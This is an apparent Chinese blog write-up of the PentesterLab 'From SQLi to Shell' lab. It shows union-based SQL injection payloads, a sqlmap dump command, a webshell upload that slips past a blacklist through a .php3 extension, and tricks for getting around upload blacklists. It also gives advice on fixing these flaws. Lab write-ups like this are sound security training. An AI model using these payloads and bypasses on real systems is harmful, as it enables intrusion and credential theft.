• SQL注入联合文件上传控制目标主机


    环境介绍

    测试环境下载地址:

    https://pentesterlab.com/exercises/from_sqli_to_shell

    2复现过程

    1.使用namp进行目标IP开放端口扫描

    2.通过Nmap的主机端口发现,了解靶机对开放22、80端口,接下来我们对80端口进行访问,可以发现存在id=X的SQL注入风险点

     

    3.通过SQL注入攻击,进行拖库

    /cat.php?id=1 order by 5

     /cat.php ?id=2 order by 4 通过执行POC,可知存在4列

     /cat.php?id=-1 union select 1,database(),3,4 通过database()函数获取当前数据库为photoblog

    /cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tableswhere table_schema="photoblog"通过已获取的库名结合information_schema .tables表,获取photoblog库下相应表名

    /cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"结合收集信息,获取users表中字段

     

    /cat.php?id=-1 union select 1,group_concat(login,0x3a,password),3,4 from users获取表中用户信息

     

    在这里使用Salmap进行拖库,命令如下:

    >.sqlmap.py -u "http://192.168.17.140/cat.php?id=1" -D photoblog -T pictures -C id,cat,img,title --dump --start 1 --stop 5 表示获取categories表中1-5的数据

    sqlmapoutput192.168.17.140dumpphotoblog目录下的pictures.csv文件为拖库导出的相应表数据

    4.通过获取的Admin用户信息登录网站后台

    1)上传普通的jpeg文件,通过Burp抓/放包过程可以获取服务器相应的适配组件

    2) 通过上传发现存在PHP文件上传限制

    3)对于php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5这些后缀的文件。通过修改php文件后缀为php3,绕过文件上传黑名单,上传使用GET参数获取命令执行的PHP文件

     

    4)访问上传后文件所在界面,通过查看源码可以发现文件所在位置

    5)访问上传文件,并结合相应的系统命令进行传参执行

    3修复建议

    预防SQL注入

    严格检查输入变量的类型和格式

    • 对数字类型的参数id的强校验(empty()为空验证和is_numeric()进行数字验证)

    • 对字符串类型的参数的校验 (正则校验),例如登陆系统的用户名的校验,若校验规则为六位数字以上的字母或者数字,可以用preg_match("/^[a-zA-Z0-9]{6,}$/") www.gendan5.com

    过滤和转义特殊字符

    • 用php函数addslashes()进行转义,一般是对这些特殊字符进行转义:单引号(')、双引号(")、反斜杠()、NULL

    • 用mysqli的php扩展中的函数 mysqli_real_escape_string(),转义字符串中的特殊字符

    预防文件上传漏洞

    验证文件扩展名通常有两种方式:黑名单和白名单

    其他几种文件上传漏洞防御方法:

    • 检查文件上传路径(避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历)

    • 文件扩展名检测(避免服务器以非图片的文件格式解析文件)

    • 文件MIME验证(比如GIF图片MIME为image/gif,CSS文件的MIME为text/css等)

    • 文件内容检测(避免图片中插入 webshell)

    • 图片二次渲染(最变态的上传漏洞防御方式,基本上完全避免了文件上传漏洞)

    • 文件重命名(如随机字符串或时间戳等方式,防止攻击者得到 webshell的路径)

    4总结思考

           黑名单过滤是一种不安全的方式,黑名单定义了一系列不安全的扩展名,服务器端在接收文件后,与黑名单扩展名对比,如果发现文件扩展名与黑名单里的扩展名匹配,则认为文件不合法。

    为什么黑名单过滤是一种不安全的方式?

        比如一个Web服务器为IIS6.0,Web语言为asp的网站,假定开发者使用了黑名单过滤,过滤了asp、asa、cer 等文件格式,那么可以尝试以下几种方式来绕过:

    (1)大小写,比如AsP、cER等;

    (2)被忽略的扩展名,IIS6.0会把cdx格式的文件当成asp来解析;

    (3)配合解析漏洞,上传asp;.jpg格式文件;

    (4)如果Web服务器开启了其他语言的支持,比如可以解析php文件,那么可以上传php格式的木马;

    (5)利用Windows系统自动去除.和空格的特性,如上传扩展名asp.式的文件来绕过

    通过以上几个例子可看出 , 黑名单过滤可靠性并不高 , 白名单过滤相对来说较为可靠


            白名单与黑名单的机制恰恰相反,黑名单是定义不允许上传的扩展名,白名单则是定义允许上传的扩展名,虽然采用白名单可以防御未知风险,但是不能完全依赖白名单,因为白名单不能完全防御上传漏洞,例如各种解析漏洞等,白名单仅仅是防御上传漏洞的第一步。通常会结合其他验证方式来使用,虽然不能完全防御文件上传漏洞,但也基本上规避了绝大部分风险。

    值得注意的一点是,攻击者上传了webshell之后需要得到webshell的路径才能通过工具连接webshell,所以尽量不要在任何地方(如下载链接等)暴露文件上传后的地址。

  • 相关阅读:
    Burnside引理与Polya定理 学习笔记
    Codeforces 438E. The Child and Binary Tree 多项式,FFT
    Berlekamp_Massey 算法 (BM算法) 学习笔记
    UOJ#335. 【清华集训2017】生成树计数 多项式,FFT,下降幂,分治
    UOJ#73. 【WC2015】未来程序 提交答案题
    UOJ#206. 【APIO2016】Gap 构造 交互题
    虚拟机配置JAVA_HOME
    创建虚拟机
    月份、季度、周
    maven多模块下使用JUnit进行单元测试
  • 原文地址:https://www.cnblogs.com/gendan5/p/11576914.html
Copyright © 2020-2023  润新知